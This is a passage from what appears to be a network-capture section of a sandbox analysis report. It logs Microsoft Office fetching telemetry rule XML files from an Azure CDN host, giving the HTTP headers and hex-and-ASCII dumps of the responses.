75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:53 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:54 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 77237dca-e01e-00aa-2b4b-3eceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230854Z-174c587ffdf8fcgwhC1TEBnn7000000006q000000000qb5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:54 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:54 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:54 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 4a555c2b-b01e-0097-1e0f-3e4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230854Z-178bfbc474b9xljthC1NYCtw94000000082000000000902t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:54 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:54 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:54 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: c06a529d-f01e-0085-0e9a-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230854Z-15b8b599d8885prmhC1TEBsnkw00000006m000000000sg65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:54 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:54 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:54 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: f26cc31d-e01e-0085-3f0e-3ec311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230854Z-15b8b599d882zv28hC1TEBdchn00000006m000000000276m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:54 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:56 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:56 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 652d7de6-201e-0033-5d3c-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230856Z-15b8b599d88hr8sfhC1TEBbca400000006bg00000000rmdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:56 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:56 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:56 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 01d403fe-801e-0078-7dbf-3ebac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230856Z-178bfbc474bq2pr7hC1NYCkfgg000000086000000000nhvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:56 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:56 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:56 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: b4a0a361-201e-0085-1a52-3e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230856Z-15b8b599d88qw29phC1TEB5zag00000006pg000000002a5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:56 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:56 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:56 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230856Z-174c587ffdfcb7qhhC1TEB3x7000000006ng00000000gnyg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:57 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:56 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:57 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: c8648c8c-d01e-005a-08bf-3e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230857Z-178bfbc474b9xljthC1NYCtw940000000840000000002cxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:57 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:58 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:58 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:58 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: ebbdbf89-001e-00a2-5a6a-3cd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230858Z-174c587ffdftjz9shC1TEBsh9800000006g0000000007kf5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:58 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:58 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:58 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:58 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 2a463278-e01e-001f-3ed1-3e1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230858Z-178bfbc474bpnd5vhC1NYC4vr40000000850000000007x7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:58 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:58 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:59 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: f7275632-901e-00ac-0fb9-3eb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230859Z-15b8b599d88n8stkhC1TEBb78n00000001f000000000a8ut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
